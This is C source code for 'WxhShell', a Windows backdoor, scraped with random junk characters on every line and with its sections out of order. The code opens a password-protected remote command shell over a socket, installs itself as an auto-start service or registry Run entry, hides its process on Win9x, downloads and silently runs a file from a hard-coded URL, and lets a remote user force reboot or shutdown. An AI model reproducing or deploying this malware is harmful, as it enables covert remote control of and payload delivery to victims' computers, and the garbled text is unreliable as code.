    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q~Ea8UT. #  
    if(Boot(SHUTDOWN)) YV([2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_Z/o5s  
    else { g`?:=G:a*  
    closesocket(wsh); X9XI;c;b-  
    ExitThread(0); [,g~m9  
    } g1|w?pI1  
    break; 3M<!?%v\A  
    } ebM{OI  
  // 获取shell ctJ&URCi#  
  case 's': { -t3i^&fj8  
    CmdShell(wsh); 3&*'6D Tg  
    closesocket(wsh); tZho)[1  
    ExitThread(0); ]J@/p:S>  
    break; P!<[U!<hH  
  } T+CajSV  
  // 退出 /Ox)|) l  
  case 'x': { G]*|H0j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <B[G |FY,  
    CloseIt(wsh); ;n*J$B  
    break; =2 jhII  
    } vVVPw?Ww-  
  // 离开 BHr|.9g]%%  
  case 'q': { '^}+Fv<O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kf.T\V4%  
    closesocket(wsh); R$6qoqv{yG  
    WSACleanup(); =r6qX  
    exit(1); s<7XxQ  
    break; %Fft R1"  
        } _T*AC.  
  } [m2+9MMl  
  } o4Q3<T7nI  
oH-8r:{  
  // 提示信息 9l !S9d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C}"@RHEu  
} ?<~WO?  
  }  MCnN^  
p^X^1X7  
  return; =NDOS{($  
} pP.'wSj  
DW2>&|  
// shell模块句柄 Mv|!2 [:  
int CmdShell(SOCKET sock) eOY^$#Y  
{ fx?$9(r,  
STARTUPINFO si; (bm;*2  
ZeroMemory(&si,sizeof(si)); )[&zCq Dc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RKuqx:U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {o|k.zy  
PROCESS_INFORMATION ProcessInfo; f/ahwz  
char cmdline[]="cmd"; "J19*<~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); , =y#m- 9  
  return 0; ClQe4uo{  
} x';u CKWV  
CL9yEy"V  
// 自身启动模式 ,XB%\[pKe  
int StartFromService(void) ;l!`C':'  
{ jP=Hf=:$  
typedef struct qd6fU^)i  
{ JYmAn?o-  
  DWORD ExitStatus; GyC)EFd  
  DWORD PebBaseAddress; +5X DF  
  DWORD AffinityMask; <z0WLw0'z  
  DWORD BasePriority; q7Es$zjX  
  ULONG UniqueProcessId; _vl}*/=Hc  
  ULONG InheritedFromUniqueProcessId; p/olCmHD)  
}   PROCESS_BASIC_INFORMATION; X0uJNHO  
yyP-=Lhmo=  
PROCNTQSIP NtQueryInformationProcess; iRw&49  
};katqzEg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x;#zs64f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;y1Q6eN  
=8JB8ZFP  
  HANDLE             hProcess; p 2 !FcFi  
  PROCESS_BASIC_INFORMATION pbi; O)#U ^  
k`VM2+9h'^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9M-K]0S(  
  if(NULL == hInst ) return 0; %oof}=MxCL  
mP^SS Je  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pe ~c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jRj=Awy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X6@wkrf-  
!G?gsW0\h  
  if (!NtQueryInformationProcess) return 0; I.V:q!4*  
"(TkJbwC[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aMwB>bt  
  if(!hProcess) return 0; i[nF.I5*f  
X0$@Ik  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kgW @RD|  
uA~slS Z  
  CloseHandle(hProcess); B3 zk(RNZ  
:1aL ?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bS^WhZy'(  
if(hProcess==NULL) return 0; 7$uJ7`e  
vq'k|_Qi=  
HMODULE hMod; =/9^, 6Q(  
char procName[255]; q]c5MlJXF  
unsigned long cbNeeded; k$"d^*R  
SW 8x]B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P3o @gkXP  
{"}V&X160o  
  CloseHandle(hProcess); W!la-n  
1mgLX_U9  
if(strstr(procName,"services")) return 1; // 以服务启动 hYg'2OG  
kfrY1  
  return 0; // 注册表启动 U@-2Q=  
} M\2"gT-LV  
WxUxc75  
// 主模块 bbN%$/d  
int StartWxhshell(LPSTR lpCmdLine) 77,oPLSn  
{ 0kDBE3i#  
  SOCKET wsl; R: Z_g !h  
BOOL val=TRUE; >fs2kha  
  int port=0; iEHh{H(  
  struct sockaddr_in door; f~h~5  
Y`ihi,s`H  
  if(wscfg.ws_autoins) Install(); gS9>N/b|  
WZewPn>#q  
port=atoi(lpCmdLine); f`$Gz  
4< S'  
if(port<=0) port=wscfg.ws_port; VLvS$0(}Z  
\ v2H^j/  
  WSADATA data; {6,|IGAq V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LR&_2e^[  
m5c&&v6%"b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pbBoy+.>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {|<"C?  
  door.sin_family = AF_INET; = !2NU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QwWW! 8  
  door.sin_port = htons(port); &0 \ ci9o  
~)X[(T{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %w}gzxN^  
closesocket(wsl); wS XVyg{  
return 1; nb, 2,H  
} 3MBN:dbQ  
|D#2GeBw1h  
  if(listen(wsl,2) == INVALID_SOCKET) { MQTdk*L_]  
closesocket(wsl); {7"0,2 Hb?  
return 1; t#wmAOW  
} yI;"9G  
  Wxhshell(wsl); "VUYh$=[  
  WSACleanup(); w4};q%OBj  
1,t)3;o$  
return 0; _M5%V>HO  
R= 5 **  
} L8$1K&!  
Ib`-pRU;  
// 以NT服务方式启动 #bnb ': f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a \5FAkI  
{ {E_{JB~`  
DWORD   status = 0; 2KJ1V+g@a6  
  DWORD   specificError = 0xfffffff; `N8 7 h"  
5 t{ja  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MZ4c{@Tg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .2:\:H~3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O1y|v[-BW  
  serviceStatus.dwWin32ExitCode     = 0; xTV{^=\rS  
  serviceStatus.dwServiceSpecificExitCode = 0; ]7YNIS  
  serviceStatus.dwCheckPoint       = 0; TJ_=1Y@z  
  serviceStatus.dwWaitHint       = 0; X` r* ob  
:}}%#/nd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iz^qR={bW  
  if (hServiceStatusHandle==0) return; IyUdZ,ba  
UE0$ o?  
status = GetLastError(); |zsbW9 W*m  
  if (status!=NO_ERROR) 7=}F{U  
{ 2.I^Xf2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &9[P-w;7u  
    serviceStatus.dwCheckPoint       = 0; nD6G  
    serviceStatus.dwWaitHint       = 0; RYR-K^;R  
    serviceStatus.dwWin32ExitCode     = status; y-aRXF=W  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qd`T5[b\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d j5hv~  
    return; d5m`Bm-{  
  } %j,iAUE<  
^rAa"p9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +OaUP*\Dd  
  serviceStatus.dwCheckPoint       = 0; /pH(WHT+/H  
  serviceStatus.dwWaitHint       = 0; + %*&.@z_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :z"!kzdJ  
} #?O &  
9(_{`2R8  
// 处理NT服务事件,比如:启动、停止 #;VA5<M8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /Ft:ffR|R  
{ |i %2%V#  
switch(fdwControl) :' #\  
{ ii|? ;  
case SERVICE_CONTROL_STOP: s95F#>dr  
  serviceStatus.dwWin32ExitCode = 0; {,$rkwW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P }7zE3V  
  serviceStatus.dwCheckPoint   = 0; kPxT" " k  
  serviceStatus.dwWaitHint     = 0; np$ zo  
  { #=c`of6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^q[gxuL_  
  } `FF8ie8L  
  return; D)b}f`  
case SERVICE_CONTROL_PAUSE: s'HD{W`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; db72W x0>  
  break; ?;ukvD  
case SERVICE_CONTROL_CONTINUE: .8gl< vX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f i~I@KJ>  
  break; ]wn/BG)  
case SERVICE_CONTROL_INTERROGATE: N;sm*+r  
  break; cD}Sf>  
}; W#F Q,+0)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w`HI]{hE~N  
} P87# CAN  
)q~DTR^z-  
// 标准应用程序主函数 <E,%@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r|<DqTc6l  
{ Ww3wsyx  
^c}J,tZ]  
// 获取操作系统版本 b0<o  
OsIsNt=GetOsVer(); U^lW@u?:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #$ thPZ  
xi~uv?f  
  // 从命令行安装 c@(&[/q!  
  if(strpbrk(lpCmdLine,"iI")) Install(); qi[Z,&  
.i"W8~<e  
  // 下载执行文件 Qt>>$3]!!  
if(wscfg.ws_downexe) { ?V(^YFzZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9/o vKpY  
  WinExec(wscfg.ws_filenam,SW_HIDE); R3.*dqo$  
} `8_z!)  
TYns~X_PR  
if(!OsIsNt) { "h"NW[R  
// 如果时win9x,隐藏进程并且设置为注册表启动 T<b+s#n4  
HideProc(); []kN16F  
StartWxhshell(lpCmdLine); AI ijCL  
} n| !@1sd  
else !vD{Df>  
  if(StartFromService()) I~* ? d  
  // 以服务方式启动 ( <*e  
  StartServiceCtrlDispatcher(DispatchTable); = duks\)O  
else ,Ds.x@p  
  // 普通方式启动 Z=S>0|`R  
  StartWxhshell(lpCmdLine); ;az5ZsvN D  
xG2+(f#C1  
return 0; 8P' ana  
} e( X|3h|  
LaMLv<)k  
_~'+Qe_o$5  
<PN"oa#  
=========================================== +_l^ #?o,  
9nSWE W  
wBk@F5\<  
}YhtUWz].  
DPn=n9n2  
?DV5y|}pj  
" ~ Hy,7  
,FzeOSy'p  
#include <stdio.h>  Y k7-`  
#include <string.h> tB7}|jC  
#include <windows.h> d(`AXyw  
#include <winsock2.h> '])2k@o@  
#include <winsvc.h> O\KQl0*l\\  
#include <urlmon.h> Lv[OUW#S  
266oTER]v:  
#pragma comment (lib, "Ws2_32.lib") | tQiFC  
#pragma comment (lib, "urlmon.lib") fnKY1y]2+  
=3 ~/:8o  
#define MAX_USER   100 // 最大客户端连接数 u+t$l^S  
#define BUF_SOCK   200 // sock buffer {LzH&qu  
#define KEY_BUFF   255 // 输入 buffer 7Z,opc  
y@V_g'  
#define REBOOT     0   // 重启 nz.{P@[Qk  
#define SHUTDOWN   1   // 关机 ^D^JzEy'?C  
 u6u=2  
#define DEF_PORT   5000 // 监听端口 w~R`D  
07g':QU@  
#define REG_LEN     16   // 注册表键长度 sZgRt  
#define SVC_LEN     80   // NT服务名长度 "6ECgyD+E!  
`Mj}md;O"  
// 从dll定义API -f1k0QwL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ![6EUMx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q=Zr>I;(Ks  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mog[pu:!,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2S3lsp5!  
\!50UVzm)  
// wxhshell配置信息 EpJ4`{4  
struct WSCFG { Z#l%r0(o  
  int ws_port;         // 监听端口 q"qo.TPh|$  
  char ws_passstr[REG_LEN]; // 口令 E\ 8  
  int ws_autoins;       // 安装标记, 1=yes 0=no b,TiMf9},h  
  char ws_regname[REG_LEN]; // 注册表键名 1SIq[1  
  char ws_svcname[REG_LEN]; // 服务名 r,P1^uHx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LA3<=R]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q?t^@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C Wo1.pVw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qZEoiNH(Tj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H5cV5E0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $4FX(O0Q@  
^rl"rEA  
}; s MN*RKer  
Lw7=+h)  
// default Wxhshell configuration V! |qYM.  
struct WSCFG wscfg={DEF_PORT, )}%O>%  
    "xuhuanlingzhe", wXjFLg!g?  
    1, ^E`(*J/o  
    "Wxhshell", nwt C:*}  
    "Wxhshell", 1_'? JfY-  
            "WxhShell Service", jVgFZ,  
    "Wrsky Windows CmdShell Service", iZ3W"Vd`b  
    "Please Input Your Password: ",  ,B<l  
  1, {Hmo1|_S|  
  "http://www.wrsky.com/wxhshell.exe", yqXH:757~  
  "Wxhshell.exe" \'CN  
    }; DmVP  
GV6K/T :  
// 消息定义模块 'V+dBt3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KfCoe[Vv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5BkV aF7Th  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *1Z5+uVT[  
char *msg_ws_ext="\n\rExit."; ~9\WFF/  
char *msg_ws_end="\n\rQuit."; \qvaE+  
char *msg_ws_boot="\n\rReboot..."; u}bf-;R  
char *msg_ws_poff="\n\rShutdown..."; ow=UtA-^O  
char *msg_ws_down="\n\rSave to "; nfW&1a  
@XD+'{]  
char *msg_ws_err="\n\rErr!"; 8.=\GV  
char *msg_ws_ok="\n\rOK!"; \,Lo>G`!  
'D1A}X  
char ExeFile[MAX_PATH]; >N\0"F7.  
int nUser = 0; &M/0g]4p  
HANDLE handles[MAX_USER]; D0(xNhmKz  
int OsIsNt; IPSF]"}~  
f~OU*P>V@  
SERVICE_STATUS       serviceStatus; Xb !MaNm)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P #F=c34u  
vzel#  
// 函数声明 Y!q!5Crfi  
int Install(void); -V"22sR]  
int Uninstall(void); K ]OK:hY4  
int DownloadFile(char *sURL, SOCKET wsh); Uawpfgc}  
int Boot(int flag); "N:XzG  
void HideProc(void); lJP1XzN_  
int GetOsVer(void); WnwhSr2  
int Wxhshell(SOCKET wsl); R:JX<Ba  
void TalkWithClient(void *cs); H xV#WoYKj  
int CmdShell(SOCKET sock); !|q<E0@w\  
int StartFromService(void); %S` v!*2  
int StartWxhshell(LPSTR lpCmdLine); p47S^gW  
&bz:K8c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1pv}]&X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qrvsjYi*w  
'Djm0  
// 数据结构和表定义 *tOG*hwdT  
SERVICE_TABLE_ENTRY DispatchTable[] = GT hL/M  
{ /:6Wzj  
{wscfg.ws_svcname, NTServiceMain}, e6X[vc|Y}  
{NULL, NULL} X1[CX&Am  
}; j#~Jxv%n  
gw`B"c|  
// 自我安装 Ee1LO#^_6  
int Install(void) ^[Ua46/"m  
{ ) yY6rI;:  
  char svExeFile[MAX_PATH]; b5IA"w  
  HKEY key; =&0wr6  
  strcpy(svExeFile,ExeFile); Sx:Ur>?hd5  
"xMD,}+5$$  
// 如果是win9x系统,修改注册表设为自启动 dt[k\ !-v  
if(!OsIsNt) { p_ Fy >j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KV|}#<dD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =z{JgD/  
  RegCloseKey(key); +5.t. d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ri C[lB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N4;7gSc"  
  RegCloseKey(key); ! / y!QXj  
  return 0; @`-[;?>  
    } 0w'j+  
  } Et"?8\"n7  
} zJM S=r  
else { Sx*oo{Kk%  
"'^4*o9  
// 如果是NT以上系统,安装为系统服务 04J}UE]Ww  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2#X4G~>#h  
if (schSCManager!=0) n\I#CH0V  
{ "M|P+A  
  SC_HANDLE schService = CreateService #U=X NU}k  
  ( }7{t^>;D  
  schSCManager, ~Au,#7X)  
  wscfg.ws_svcname, ]fnnZ  
  wscfg.ws_svcdisp, T9 <2A1  
  SERVICE_ALL_ACCESS, &2-L. Xb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,:Vm6u!  
  SERVICE_AUTO_START, :RSz4  
  SERVICE_ERROR_NORMAL, EA.D}XC  
  svExeFile, M,j(=hRJ/E  
  NULL, zPEg  
  NULL, juAMAplf  
  NULL, dX8hpQ  
  NULL, #B'aU#$u  
  NULL iFSJL,QZ3  
  ); D2YZ9e   
  if (schService!=0) Sz{O2 l Y  
  { 41#w|L \  
  CloseServiceHandle(schService); %or,{mmiM:  
  CloseServiceHandle(schSCManager); ,1q_pep~?%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _qvK*nE  
  strcat(svExeFile,wscfg.ws_svcname); VhT= l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { in<Rq"L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); " +KJop  
  RegCloseKey(key); 9/SXs0  
  return 0; ej&<GM|  
    } -K(fh#<6KO  
  } K|C^l;M6  
  CloseServiceHandle(schSCManager); $@\mpwANl  
} yix'rA-T  
} : "6q,W  
Nf+b" &Zh`  
return 1; $d+DDm1o  
} j9qREf9)  
f:zFFpP.j@  
// 自我卸载 ,3v+PIcMM+  
int Uninstall(void) s#h8%['  
{ Q|}a R:4  
  HKEY key; |CgnCUv+  
]U[X1W+@  
if(!OsIsNt) { JJV0R}z?TV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o sbHs$C  
  RegDeleteValue(key,wscfg.ws_regname); bf_I9Z3m  
  RegCloseKey(key); NRnRMY-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0U66y6  
  RegDeleteValue(key,wscfg.ws_regname); 8,?v?uE  
  RegCloseKey(key); -3Avs9`5  
  return 0; [LT^sb  
  } IM=bK U  
} 0Q1FL MLV  
} @RD+xYm  
else { #5sD{:f`  
bLz*A-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kH*Pn'  
if (schSCManager!=0) 3`hUo5K  
{ >idBS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ezhDcI_T  
  if (schService!=0) [MX;,%;;  
  { ^/wfXm  
  if(DeleteService(schService)!=0) { s )voII&  
  CloseServiceHandle(schService); aI zv  
  CloseServiceHandle(schSCManager); c_{z(W"  
  return 0; pDPxl?S  
  } d lH$yub  
  CloseServiceHandle(schService); iK;dU2h  
  } +&tgJ07A  
  CloseServiceHandle(schSCManager); Q8p&Ki;i  
} z2ms^Y=j  
} Ap&)6g   
J MX6yV  
return 1; |1Dc!V'?"  
} +i `*lBup$  
(VvKGh  
// 从指定url下载文件 '"pd  
int DownloadFile(char *sURL, SOCKET wsh) 3[p_!eoW  
{ +]>+a<x*%  
  HRESULT hr; k'`m97B  
char seps[]= "/"; hovGQHg  
char *token; g*\/N,"z  
char *file; iMF<5fLH&  
char myURL[MAX_PATH]; N\t1T(C|  
char myFILE[MAX_PATH]; -0o[f53}p  
c- $Gpa}M  
strcpy(myURL,sURL); n9LGP2#!  
  token=strtok(myURL,seps); M"=n>;*X  
  while(token!=NULL) VvByHcLv  
  { ;y?);!g  
    file=token; ;N+$2w  
  token=strtok(NULL,seps); dYFzye  
  } @$Qof1j'%  
WV;=@v  
GetCurrentDirectory(MAX_PATH,myFILE); P#kGX(G9!  
strcat(myFILE, "\\"); D|I Ec?  
strcat(myFILE, file); vY6W|<s  
  send(wsh,myFILE,strlen(myFILE),0); wbbqt0un  
send(wsh,"...",3,0);  hRaf#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l2v_?j-)x  
  if(hr==S_OK) {TSY|D2  
return 0; Tm+;0  
else dtM[E`PL  
return 1; NQTnhiM7$  
u'Q?T7  
} *E>.)B i  
;sdN-mb  
// 系统电源模块 !}TMiCK  
int Boot(int flag) =1/NFlt8  
{ g]mtFrP  
  HANDLE hToken; s}M= oe  
  TOKEN_PRIVILEGES tkp; cl[!`Z  
#~:P}<h  
  if(OsIsNt) { KcGsMPJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wn +FTqj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BJjx|VA+  
    tkp.PrivilegeCount = 1; ClW'W#*(Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2)iD4G`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uE_c4Hp  
if(flag==REBOOT) { xc 1A$EY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +,'T=Ic{  
  return 0; zbw7U'jk  
} ! U0z"  
else { qcB){p+UQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /  YiQ\  
  return 0; _68BP)nz>.  
} 4Wel[]  
  } U SOKDDm  
  else { yFIy`9R  
if(flag==REBOOT) { 6y+b5-{'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wjU.W5IR  
  return 0; UP1?5Q=H]Q  
} cleOsj;S  
else { .,2V5D-${  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HP2wtN{Zs  
  return 0; F:FMeg  
} b=##A  
} 8@K^|xeQ  
q?{}3 dPC  
return 1; 6o3T;h  
} q1Qje%9@t  
S*W;%J5  
// win9x进程隐藏模块 0O@_ cW  
void HideProc(void) y+mElG$F  
{ To"dG& h  
D=?{8'R'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oT+(W,G  
  if ( hKernel != NULL ) }F1s tDx  
  { PB'0?b}fab  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J07O:cjyu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mLL$|  
    FreeLibrary(hKernel); %5</ d5.  
  } R|,7d:k  
x2wg^$F*oO  
return; X33v:9=  
} N{a kg90  
HQVh+(  
// 获取操作系统版本 0A$SYF$O+[  
int GetOsVer(void) DQ!J!ltQ  
{ 3><u*0qe%I  
  OSVERSIONINFO winfo; 9w ~cvlv[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I=dGq;Jaz  
  GetVersionEx(&winfo); ?qHF}k|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eMMx8E)B  
  return 1; pu;3nUH  
  else \3Jq_9Xv  
  return 0; H3FW52pjX  
} Z[#IfbYt  
Ueyw;Y  
// 客户端句柄模块 83;IyvbL  
int Wxhshell(SOCKET wsl) )qM|3],  
{ [, f)9v)  
  SOCKET wsh; |"k&fkS$  
  struct sockaddr_in client; `7Ug/R<  
  DWORD myID; 1$LIpx  
<! x+e E`  
  while(nUser<MAX_USER) :X>DkRP  
{ tB6k|cPC  
  int nSize=sizeof(client); ym%slg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Df=q-iq<{/  
  if(wsh==INVALID_SOCKET) return 1; a8uYs DS  
o"_=K%9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z]#hWfM4B:  
if(handles[nUser]==0) "n?<2 wso  
  closesocket(wsh); 6 DP[g8  
else `.BR= ['O  
  nUser++; UmP'L!  
  } 2R@%Y/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9U<Hf32  
%xg"Q |  
  return 0; V/y=6wUiSl  
} 9{eBgdC  
cH"@d^"+q|  
// 关闭 socket gbGTG(:1S  
void CloseIt(SOCKET wsh) "EPD2,%S  
{ HhSjR%6HY;  
closesocket(wsh); }p'8w\C$  
nUser--; =MSu3<y,  
ExitThread(0); m6n hC  
} X%4h(7;v  
!Yh}H<w0  
// 客户端请求句柄 LHi6:G"Y(  
void TalkWithClient(void *cs) !wh=dQgMe  
{ 'DAltr<  
9YC&&0 C@  
  SOCKET wsh=(SOCKET)cs; )SiY(8y  
  char pwd[SVC_LEN]; J+2R&3;_O  
  char cmd[KEY_BUFF]; *8\(FVyG^  
char chr[1]; @-6?i)  
int i,j; z+"0>ZN&  
b=LF%P  
  while (nUser < MAX_USER) { < 5ZJ]W  
c4|so=  
if(wscfg.ws_passstr) { :C%47qv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dd/}Ya(Gi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \Hum}0[  
  //ZeroMemory(pwd,KEY_BUFF); lO 2k<  
      i=0; zqGYOm$r  
  while(i<SVC_LEN) { 9~Xg#{  
Fk$@Yy+}e  
  // 设置超时 6Bdyf(t  
  fd_set FdRead; +"=~o5k3Q  
  struct timeval TimeOut; a;p6?kv  
  FD_ZERO(&FdRead); '3%*U*I  
  FD_SET(wsh,&FdRead); >sV Bj(f  
  TimeOut.tv_sec=8; eCL?mhK  
  TimeOut.tv_usec=0; 1UyH0`&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -s~p}CQ.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '%Dg{ zL  
ZOHRUm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yS"0/Rm}  
  pwd=chr[0]; '%O\E{h  
  if(chr[0]==0xd || chr[0]==0xa) { & =sayP  
  pwd=0; !:J< pWN"  
  break; qS82/e)7  
  } s=jO; K$  
  i++; `w=!o.1  
    } riEqW}{  
3mA/Nu_  
  // 如果是非法用户,关闭 socket },3R%?8 9%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D4\(:kF\Hg  
} ]Hj`2\KD.d  
nK:`e9ES  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g{&PrE'e9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m2MPWy5s  
<^'{ G  
while(1) { V9]uFL  
{q2<KRU2+#  
  ZeroMemory(cmd,KEY_BUFF); Px#4pmz  
Sh47c4{  
      // 自动支持客户端 telnet标准   m[#%/  
  j=0; )XZ,bz*jn  
  while(j<KEY_BUFF) { iy9VruT<x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s @3 zx  
  cmd[j]=chr[0]; Nuo<` 6mV@  
  if(chr[0]==0xa || chr[0]==0xd) { Es,0'\m&  
  cmd[j]=0; %,E7vYjT%  
  break; fa.f(c  
  } L%4tw5*N  
  j++; C$0 ITw  
    } .?7So3   
2X +7b M  
  // 下载文件 $pJ3xp&  
  if(strstr(cmd,"http://")) { {B v`i8e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kjfxjAS=m  
  if(DownloadFile(cmd,wsh)) 3~8AcX@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ri;r7Y9V9`  
  else '4Y*-!9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |W/Hi^YE2  
  } <#!8?o&i  
